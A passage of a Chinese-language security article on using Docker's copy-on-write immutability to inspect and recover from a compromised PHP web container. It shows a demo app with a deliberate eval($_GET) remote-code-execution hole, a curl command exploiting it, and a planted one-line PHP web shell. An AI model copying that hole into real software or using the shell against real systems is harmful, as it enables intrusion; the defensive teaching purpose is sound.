使用不可变基础设施让系统更安全

【编者的话】DiogoMónica是Docker的安全领导者。他是Square的早期员工,领导平台安全团队。获得计算机科学学士学位,硕士和博士学位。他担任几家安全初创公司的顾问,是一名长期的IEEE志愿者。本文他提供一个利用容器的不变性来防御黑客攻击的新思路。

Docker容器的一个整洁之处在于它们是不可变的。 Docker附带一个写入时复制文件系统,这意味着基本映像不能被修改,除非你显式地做一个提交。

这么做的原因之一是你很容易检查偏差,如果试图调查一个安全事件,这可能会派上用场。

演示应用程序

以下面的演示架构为例:

Security-@Scale-diagrams.png


我们有一个在前端运行的PHP应用程序,以及一个充当我们的后端数据库的MySQL服务器。你可以执行下面的命令:

➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb➜ docker run -d -p 80:80 --link db:db diogomonica/phphack 


当你已经运行了数据库和前端,你应该可以看到如下的页面:

Screenshot-2015-06-03-17-31-26-1.png


不幸的是,并不像别的正常的PHP应用程序,这个应用程序有一个远程代码执行漏洞:

if($links) {  <h3>Links found</h3>  ... eval($_GET['shell']);  ?>  


它看起来像有人在使用本不该被使用的e​​val!任何攻击者都可以利用此漏洞,并在远程主机上执行任意命令:

➜ curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="uid=33(www-data) gid=33(www-data) groups=33(www-data)    


任何攻击者对被攻击的主机做的第一个操作是下载PHP shell和工具包。有些攻击者甚至可能会重新改造你的网站:

Screenshot-2016-09-03-20-36-55.png

 

从被黑中恢复回来

回到不变性,写时拷贝文件系统提供的一个很酷的事情是能够看到发生的所有更改。通过使用docker diff命令,我们可以看到攻击者对文件的所有修改:

➜ docker diff pensive_meitnerC /run  C /run/apache2  A /run/apache2/apache2.pid  C /run/lock  C /run/lock/apache2  C /var  C /var/www  C /var/www/html  C /var/www/html/index.html  A /var/www/html/shell.php    


很有趣。似乎攻击者不仅修改了我们的index.html,而且还下载了一个php-shell,命名为shell.php。但我们的重点应该是让网站恢复回来并重新上线。

我们通过做一个docker提交来存储这个镜像以供后续做分析,并且由于容器是不可变的,我们可以重新启动我们的容器,让业务继续提供服务:

➜ docker commit pensive_meitnersha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3  ➜ docker kill pensive_meitner➜ docker run -d -p 80:80 --link db:db diogomonica/phphack  

 

backinbiz.png


我们现在可以回到保存的镜像,看看攻击者修改了什么

➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh# cat index.html<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>  # cat shell.php<?php  eval($_GET['cmd']);  ?> 


这看起来像是我们刚刚被著名的超级精英集团黑客(SUPER ELITE GROUP OF HACKERS)入侵了。

增加黑客攻击成本

在被攻击后查看攻击内容是一个很实用的功能,但是如何才能避免被攻击?这个时候